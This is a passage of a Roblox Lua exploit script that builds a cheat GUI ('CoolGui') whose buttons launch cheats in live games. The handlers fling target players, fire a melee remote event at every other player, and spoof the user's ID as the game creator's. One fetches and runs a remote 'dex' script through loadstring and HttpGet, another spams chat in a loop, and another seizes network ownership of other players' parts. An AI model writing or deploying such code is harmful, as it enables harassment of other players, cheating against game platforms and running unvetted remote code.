										FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
										task.wait()
	
										FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
										task.wait()
									end
								else
									break
								end
							until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
						end
	
						workspace.FallenPartsDestroyHeight = 0/0
	
						local BV = Instance.new("BodyVelocity")
						BV.Name = "EpixVel"
						BV.Parent = RootPart
						BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
						BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
	
						Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
	
						if TRootPart and THead then
							if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
								SFBasePart(THead)
							else
								SFBasePart(TRootPart)
							end
						elseif TRootPart and not THead then
							SFBasePart(TRootPart)
						elseif not TRootPart and THead then
							SFBasePart(THead)
						elseif not TRootPart and not THead and Accessory and Handle then
							SFBasePart(Handle)
						else
						end
	
						BV:Destroy()
						Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
						workspace.CurrentCamera.CameraSubject = Humanoid
	
						repeat
							RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
							Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
							Humanoid:ChangeState("GettingUp")
							table.foreach(Character:GetChildren(), function(_, x)
								if x:IsA("BasePart") then
									x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
								end
							end)
							task.wait()
						until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
						workspace.FallenPartsDestroyHeight = getgenv().FPDH
					else
					end
				end
	
				getgenv().Welcome = true
				if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
	
				if AllBool then
					for _,x in next, Players:GetPlayers() do
						SkidFling(x)
					end
				end
	
				for _,x in next, Targets do
					if GetPlayer(x) and GetPlayer(x) ~= Player then
						if GetPlayer(x).UserId ~= 1414978355 then
							local TPlayer = GetPlayer(x)
							if TPlayer then
								SkidFling(TPlayer)
							end
						else
						end
					elseif not GetPlayer(x) and not AllBool then
					end
				end
			end
		end)
	
	end)
end;
task.spawn(C_95);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_97()
local script = G2L["97"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--[[
			Thomas The Dank Engine:
									By: KrystalTeam
									Features: Being a dank engine that kill people
									Version: 1.0.0.2
		--]]
	
		local p = game.Players.LocalPlayer.Character
		local weld = Instance.new("Weld",p.Torso)
		weld.Part0 = p.Torso
	
		local train = Instance.new("Part",p.Torso)
		train.Anchored = true
		train.CanCollide = false
		train.Size = Vector3.new(3,2,6)
		train.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
		weld.Part1 = train
		weld.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(180),0)
		train.Anchored = false
		local TrainMesh = Instance.new("SpecialMesh",train)
		TrainMesh.MeshType = Enum.MeshType.FileMesh
		TrainMesh.Scale = Vector3.new(0.020,0.020,0.015)
		TrainMesh.MeshId = "rbxassetid://431017802"
		TrainMesh.TextureId = "rbxassetid://431017809"
	
	
		local weld2 = Instance.new("Weld",p.Torso)
		weld2.Part0 = p.Torso
		local Smoke = Instance.new("Part",p.Torso)
		Smoke.Anchored = true
		Smoke.CanCollide = false
		Smoke.Size = Vector3.new(1,1,1)
		Smoke.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
		weld2.Part1 = Smoke
		weld2.C1 = CFrame.new(0,-4,3.5)-- * CFrame.Angles(0,math.rad(180),0)
		Smoke.Anchored = false
		Smoke.Transparency = 1;
	
		local Particle = Instance.new("ParticleEmitter",Smoke)
		Particle.Rate = 50;
		Particle.Speed = NumberRange.new(30,60);
		Particle.VelocitySpread = 4;
		Particle.Texture = "rbxassetid://133619974"
	
		local Light = Instance.new("SpotLight",train)
		Light.Angle = 45;
		Light.Brightness = 100;
		Light.Face = Enum.NormalId.Back;
		Light.Range = 30;
	
		spawn(function()
			while p.Humanoid.Health ~= 0 do
				p.Humanoid.WalkSpeed = 60;
				wait();
			end
		end)
	
	
		for i,v in pairs(p:GetChildren()) do
			if v:IsA("Part") then
				v.Transparency = 1;
			elseif v:IsA("Hat") then
				v:Destroy()
			elseif v:IsA("Model") then
				v:Destroy()
			end
		end
	
		local function SFX(id) local s=Instance.new("Sound",p.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
		local Debounce = false
		train.Touched:connect(function(p)
			if Debounce == false then
				Debounce = true
				if p.Parent then
					if p.Parent:IsA("Model") then
						if game.Players:FindFirstChild(p.Parent.Name) then
							if p.Parent.Name ~= game.Players.LocalPlayer.Name then
								spawn(function()
									for i, plr in pairs(game.Players:GetChildren()) do
										if plr.Name ~= game.Players.LocalPlayer.Name then
											for i = 1, 10 do
												game.ReplicatedStorage.meleeEvent:FireServer(plr)
											end
										end
									end
								end)
								local Whistle = SFX(475073913)
								Whistle:Play()
							end
						end
					end
				end
				wait()
				Debounce = false
			end
		end)
	
		local Music = SFX(8314985437)
		Music.Looped = true;
		wait(1)
		Music:Play();
	
		---------------------------------------------------------------------------------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
	
			fling()
		end
	
	end)
end;
task.spawn(C_97);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_9d()
local script = G2L["9d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		if game.CreatorType == Enum.CreatorType.User then
			game.Players.LocalPlayer.UserId = game.CreatorId
		end
		if game.CreatorType == Enum.CreatorType.Group then
			game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id
		end 
	end)
end;
task.spawn(C_9d);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_9f()
local script = G2L["9f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		local head_attachment = Instance.new("Attachment")
		head_attachment.Parent = game.Players.LocalPlayer.Character.Torso
		head_attachment.Position = Vector3.new(4.5, -0, 0)
		head_attachment.Name = "UFO_attachment"
	
		local player = game.Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()
	
		local UFO = Instance.new("Part")
		UFO.Name = "iOrb"
		UFO.Parent = character
		UFO.Shape = Enum.PartType.Ball
		UFO.Size = Vector3.new(1, 1, 1)
		UFO.Material = Enum.Material.Neon
		UFO.Color = Color3.fromRGB(0, 0, 0)
		UFO.CanCollide = false
		UFO.Anchored = true
		
		
		local debrisEmitter = Instance.new("ParticleEmitter")
		debrisEmitter.Parent = UFO
		debrisEmitter.Texture = "rbxassetid://258128463" 
		debrisEmitter.Rate = 30  
		debrisEmitter.Lifetime = NumberRange.new(1, 2)  
		debrisEmitter.Speed = NumberRange.new(2, 5) 
		debrisEmitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.2), NumberSequenceKeypoint.new(1, 0)})  
		debrisEmitter.Acceleration = Vector3.new(0, -5, 0)  
		debrisEmitter.Rotation = NumberRange.new(0, 360)  
		debrisEmitter.RotSpeed = NumberRange.new(-50, 50)  
		debrisEmitter.Color = ColorSequence.new(Color3.fromRGB(0, 0, 0), Color3.fromRGB(50, 50, 50)) 
		debrisEmitter.LightEmission = 0.5  
	
	
	
		local fire = Instance.new("Fire")
		fire.Parent = UFO
		fire.Size = 2
		fire.Heat = 10
		fire.Color = Color3.fromRGB(0, 0, 0)
		fire.SecondaryColor = Color3.fromRGB(0, 0, 0)
	
		-- Orbit logic
		local radius = 5
		local speed = 3
		local angle = 0
	
		while true do
			task.wait(0.05) -- Control the speed of rotation
			angle = angle + speed
	
			local playerPosition = character.PrimaryPart.Position
			local offsetX = math.cos(math.rad(angle)) * radius
			local offsetZ = math.sin(math.rad(angle)) * radius
	
			UFO.Position = playerPosition + Vector3.new(offsetX, 0, offsetZ)
		end
	
	
	
	
	
		local UFO_attachment = Instance.new("Attachment")
		UFO_attachment.Parent = UFO
		UFO_attachment.Orientation = Vector3.new(0.006, 90, -0.006)
		
		
	
		local align_position = Instance.new("AlignPosition")
		local align_orientation = Instance.new("AlignOrientation")
	
		align_position.Parent = UFO
		align_orientation.Parent = UFO
	
		align_position.Attachment0 = UFO_attachment
		align_position.Attachment1 = head_attachment
	
		align_orientation.Attachment0 = UFO_attachment
		align_orientation.Attachment1 = head_attachment
	
		local trail = Instance.new("Trail")
		trail.Parent = UFO
		trail.Attachment0 = UFO_attachment
		trail.Attachment1 = head_attachment
	
		local billboard_gui = Instance.new("BillboardGui")
		billboard_gui.Parent = UFO
		billboard_gui.StudsOffset = Vector3.new(0, 1, 0)
		billboard_gui.Adornee = UFO
		billboard_gui.Size = UDim2.new(0, 200, 1, 0) -- {0, 200},{1, 0}
	
		local frame = Instance.new("Frame")
		frame.BackgroundTransparency = 1
		frame.Parent = billboard_gui
		frame.Size = UDim2.new(0, 200, 1, 0)
	
		local textlabel = Instance.new("TextLabel")
		textlabel.TextSize = 50
		textlabel.TextColor3 = Color3.fromRGB(234, 255, 0)
		textlabel.TextStrokeColor3 = Color3.fromRGB(204, 0, 204)
		textlabel.TextStrokeTransparency = 0
		textlabel.Parent = frame
		textlabel.Size = UDim2.new(0, 200, 1, 0)
		textlabel.BackgroundTransparency = 1
		textlabel.Text = ""
		textlabel.TextScaled = true
	
		local Players = game:GetService("Players")
	
		Players.PlayerAdded:Connect(function(player)
			textlabel.Text = tostring(player.Name .. " joined the game!")
			wait(5)
			textlabel.Text = ""
		end)
	
		Players.PlayerRemoving:Connect(function(player)
			textlabel.Text = tostring(player.Name .. " left the game!")
			wait(5)
			textlabel.Text = ""
		end)
	
		local function get_children(object) 
			local table_ = {}
			for i,v in pairs(object:GetChildren()) do
				table.insert(table_, v)
				if v:IsA("Folder") or v:IsA("Model") then
					wait(0)
					get_children(v)
				end
			end
			return table_
		end
	
		local function is_in_table(object, table_)
			for i,v in pairs(table_) do
				if v == object then
					return true
				end
			end
			return false
		end
	
		while true do
			local previous_list = get_children(workspace)
			wait(0.1)
			local next_list = get_children(workspace)
	
			if previous_list ~= next_list then
				for i,v in pairs(next_list) do
					local exists_now = is_in_table(v, next_list)
					local existed_before = is_in_table(v, previous_list)
					if exists_now == false then
						if v.ClassName ~= v.Name then
							textlabel.Text = v.ClassName .. ": " .. v.Name .. " was removed"
						else
							textlabel.Text = v.Name .. " was removed"
						end
					end
	
					if exists_now == true and existed_before == false then
						if v.ClassName ~= v.Name then
							textlabel.Text = v.ClassName .. ": " .. v.Name .. " was instantiated"
						else
							textlabel.Text = v.Name .. " was instantiated"
						end
					end
				end
			end
			wait(5)
			textlabel.Text = ""
		end
	
	
	end)
end;
task.spawn(C_9f);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_a1()
local script = G2L["a1"];
	local button = script.Parent
	local gui = game.Players.LocalPlayer.PlayerGui.CoolGui
	
	button.MouseButton1Down:connect(function()
		gui:Destroy()
	end)
	
end;
task.spawn(C_a1);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_a3()
local script = G2L["a3"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- thanks to moon for this dex / best dex out there
		loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
	
	end)
end;
task.spawn(C_a3);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_a7()
local script = G2L["a7"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.bgid
	local r = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.are
	local g = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.gee
	local b = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.bee
	
	button.MouseButton1Down:connect(function()
		if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then
			game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()	
		end
		local	plr = game.Players.LocalPlayer.Name
		local y = Instance.new("BillboardGui")
		y.Size = UDim2.new(0,100,0,150)
		y.StudsOffset = Vector3.new(0,1,0)
		y.Parent = game.Players[plr].Character.Head
		y.Adornee = game.Players[plr].Character.Head
		local f = Instance.new("TextLabel")
		f.Parent = y
		f.BackgroundTransparency = 1
		f.Position = UDim2.new(0,0,0,-50)
		f.Size = UDim2.new(0,100,0,100)
		f.Font = "Arial"
		f.FontSize = "Size48"
		f.Text = input.Text
		f.TextStrokeColor3 = Color3.new(0,0,0)
		f.TextColor3 = Color3.new(r.Text/255,g.Text/255,b.Text/255)
		f.TextStrokeTransparency = 0
		f.TextYAlignment = "Bottom"
	end)
end;
task.spawn(C_a7);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_a9()
local script = G2L["a9"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		presets = {"Bright red","Bright yellow","Bright orange","Bright violet","Bright blue","Bright bluish green","Bright green"}
		while true do
			wait(0.5)
			ye = game.Workspace[game.Players.LocalPlayer.Name]:GetChildren()
			for i,v in pairs(ye) do
				if v.className == "Part" then
					v.BrickColor = BrickColor.new(presets[math.random(1,#presets)])
				end
			end
		end
	end)
end;
task.spawn(C_a9);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_ab()
local script = G2L["ab"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local platform = Instance.new("Part")
		platform.Size = Vector3.new(16, 1, 16)
		platform.Transparency = 0.5
		platform.Color = Color3.fromRGB(255, 0, 255)
		platform.Anchored = true
		platform.Parent = workspace
		local player_position = game.Players.LocalPlayer.Character.Head.Position
		platform.Position = Vector3.new(player_position.X, player_position.Y-5, player_position.Z)
	
	end)
end;
task.spawn(C_ab);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_ad()
local script = G2L["ad"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local name = game.Players.LocalPlayer.Name
	
		local p = Instance.new("Part")
		p.Parent = workspace
		p.Locked = true
		p.BrickColor = BrickColor.new("White")
		p.BrickColor = BrickColor.new(104)
		p.Size = Vector3.new(8, 1.2, 8)
		p.Anchored = true
		p.Transparency = 0.5
		local m = Instance.new("CylinderMesh")
		m.Scale = Vector3.new(1, 0.5, 1)
		m.Parent = p
		while true do
			p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
			wait()
		end
	end)
end;
task.spawn(C_ad);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_af()
local script = G2L["af"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.reid
	
	button.MouseButton1Down:connect(function()
		local reachsize = input.Text
		local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") or game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool")
		if Tool:FindFirstChild("OGSize3") then
			Tool.Handle.Size = Tool.OGSize3.Value
			Tool.OGSize3:Destroy()
			Tool.Handle.FunTIMES:Destroy()
		end
		local val = Instance.new("Vector3Value",Tool)
		val.Name = "OGSize3"
		val.Value = Tool.Handle.Size
		local sb = Instance.new("SelectionBox")
		sb.Adornee = Tool.Handle
		sb.Name = "FunTIMES"
		sb.Parent = Tool.Handle
		Tool.Handle.Massless = true
		Tool.Handle.Size = Vector3.new(Tool.Handle.Size.X,Tool.Handle.Size.Y,reachsize)
	end)
end;
task.spawn(C_af);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b1()
local script = G2L["b1"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.animid
	local input2 = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.asid
	
	button.MouseButton1Down:connect(function()
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://" .. input.Text
		local k = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		k:Play()
		k:AdjustSpeed(input2.Text)
	
	end)
end;
task.spawn(C_b1);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b3()
local script = G2L["b3"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local Chicken = game.Players.LocalPlayer.Name
		game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
		game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
		game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
		game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
	end)
end;
task.spawn(C_b3);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b5()
local script = G2L["b5"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.jumpid
	
	button.MouseButton1Down:connect(function()
		game.Players.LocalPlayer.Character.Humanoid.JumpPower = input.Text
	
	end)
end;
task.spawn(C_b5);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b7()
local script = G2L["b7"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.walkid
	
	
	button.MouseButton1Down:connect(function()
		game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = input.Text
	end)
end;
task.spawn(C_b7);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b9()
local script = G2L["b9"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.spamid
	
	button.MouseButton1Down:connect(function()
		while true do
	
			local args = {
				[1] = input.Text,
				[2] = "All"
			}
	
			game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(input.Text, "All")
	
			wait(1.5)
	
		end
	
	end)
end;
task.spawn(C_b9);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bb()
local script = G2L["bb"];
	local button = script.Parent
	
	
	button.MouseButton1Down:connect(function()
		for X = 1, math.huge, 0.2 do 
			wait() 
			game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0) 
			game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0) 
		end 
		for X = 1, math.huge, 0.1 do 
			wait() 
			game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X) 
			game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0) 
		end 
		for _,c in pairs(game.Players:GetChildren()) do
			c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
		end
		for _,c in pairs(game.Players:GetChildren()) do
			c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
		end
	
	end)
end;
task.spawn(C_bb);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bd()
local script = G2L["bd"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.gravid
	
	button.MouseButton1Down:connect(function()
	 game.Workspace.Gravity = input.Text
	end)
end;
task.spawn(C_bd);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bf()
local script = G2L["bf"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.nameid
	
	button.MouseButton1Down:connect(function()
		for a, mod in pairs(game.Players.LocalPlayer.Character:children()) do
			if mod:FindFirstChild("TAG") then
				game.Players.LocalPlayer.Character.Head.Transparency = 0
				mod:Destroy()
			end
		end
	
		local char = game.Players.LocalPlayer.Character
		local model = Instance.new("Model", char)
		local clone = char.Head:Clone()
		local hum = Instance.new("Humanoid", model)
		local weld = Instance.new("Weld", clone)
		model.Name = input.Text
		clone.Parent = model
		hum.Name = "TAG"
		hum.MaxHealth = 100
		hum.Health = 100
		weld.Part0 = clone
		weld.Part1 = char.Head
		char.Head.Transparency = 1
	end)
end;
task.spawn(C_bf);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c5()
local script = G2L["c5"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "99986264226275"
	end)
	
end;
task.spawn(C_c5);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c7()
local script = G2L["c7"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "5718908296"
	end)
	
end;
task.spawn(C_c7);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c9()
local script = G2L["c9"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "146563959"
	end)
	
end;
task.spawn(C_c9);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_cb()
local script = G2L["cb"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "142376088"
	end)
	
end;
task.spawn(C_cb);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_cf()
local script = G2L["cf"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
		
	button.MouseButton1Down:connect(function()
		input.Text = "78829839839537"
	end)
end;
task.spawn(C_cf);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d1()
local script = G2L["d1"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	button.MouseButton1Down:connect(function()
		input.Text = "160456772"
	end)
end;
task.spawn(C_d1);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d3()
local script = G2L["d3"];
	
		local button = script.Parent
		local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
		button.MouseButton1Down:connect(function()
			input.Text = "358313209"
		end)
	
end;
task.spawn(C_d3);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d5()
local script = G2L["d5"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "13513140020"
	end)
	
end;
task.spawn(C_d5);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d7()
local script = G2L["d7"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	button.MouseButton1Down:connect(function()
		input.Text = "92836561458826"
	end)
end;
task.spawn(C_d7);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d9()
local script = G2L["d9"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	
	button.MouseButton1Down:connect(function()
	input.Text = "891289659"
	end)
	
end;
task.spawn(C_d9);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_db()
local script = G2L["db"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	
	button.MouseButton1Down:connect(function()
		input.Text = "18682840631"
	end)
	
end;
task.spawn(C_db);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_dd()
local script = G2L["dd"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	button.MouseButton1Down:connect(function()
		input.Text = "90335287056545"
	end)
end;
task.spawn(C_dd);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e3()
local script = G2L["e3"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local duration = 99999999999999999999 -- integer only, no decimals
		if game:GetService("SoundService").RespectFilteringEnabled then return end
	
		local sounds = {}
	
		for i,v in pairs(Game:GetDescendants()) do
			if v:IsA("Sound")  then
				table.insert(sounds,v)
			end
		end
	
	
		local con = Game.DescendantAdded:Connect(function(v)
			if v:IsA("Sound") then
				table.insert(sounds,v)
			end
		end)
		wait(.1)
		local start = math.floor(tick())
		repeat
			for i,v in pairs(sounds) do
				v:Play()
				v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
				task.wait()
			end
		until math.floor(tick()) == start + duration
		con:Disconnect()
	
		for i,v in pairs(sounds) do
			v:Stop()
		end
	
	end)
end;
task.spawn(C_e3);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e5()
local script = G2L["e5"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local UserInputService = game:GetService("UserInputService")
		local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
		local Folder = Instance.new("Folder", game:GetService("Workspace"))
		local Part = Instance.new("Part", Folder)
		local Attachment1 = Instance.new("Attachment", Part)
		Part.Anchored = true
		Part.CanCollide = false
		Part.Transparency = 1
		local Updated = Mouse.Hit + Vector3.new(0, 5, 0)
		local NetworkAccess = coroutine.create(function()
			settings().Physics.AllowSleep = false
			while game:GetService("RunService").RenderStepped:Wait() do
				for _, Players in next, game:GetService("Players"):GetPlayers() do
					if Players ~= game:GetService("Players").LocalPlayer then
						Players.MaximumSimulationRadius = 0 
						sethiddenproperty(Players, "SimulationRadius", 0) 
					end 
				end
				game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
			end 
		end) 
		coroutine.resume(NetworkAccess)
		local function ForcePart(v)
			if v:IsA("Part") and v.Anchored == false and v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") == nil and v.Name ~= "Handle" then
				Mouse.TargetFilter = v
				for _, x in next, v:GetChildren() do
					if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
						x:Destroy()
					end
				end
				if v:FindFirstChild("Attachment") then
					v:FindFirstChild("Attachment"):Destroy()
				end
				if v:FindFirstChild("AlignPosition") then
					v:FindFirstChild("AlignPosition"):Destroy()
				end
				if v:FindFirstChild("Torque") then
					v:FindFirstChild("Torque"):Destroy()
				end
				v.CanCollide = false
				local Torque = Instance.new("Torque", v)
				Torque.Torque = Vector3.new(100000, 100000, 100000)
				local AlignPosition = Instance.new("AlignPosition", v)
				local Attachment2 = Instance.new("Attachment", v)
				Torque.Attachment0 = Attachment2
				AlignPosition.MaxForce = 9999999999999999
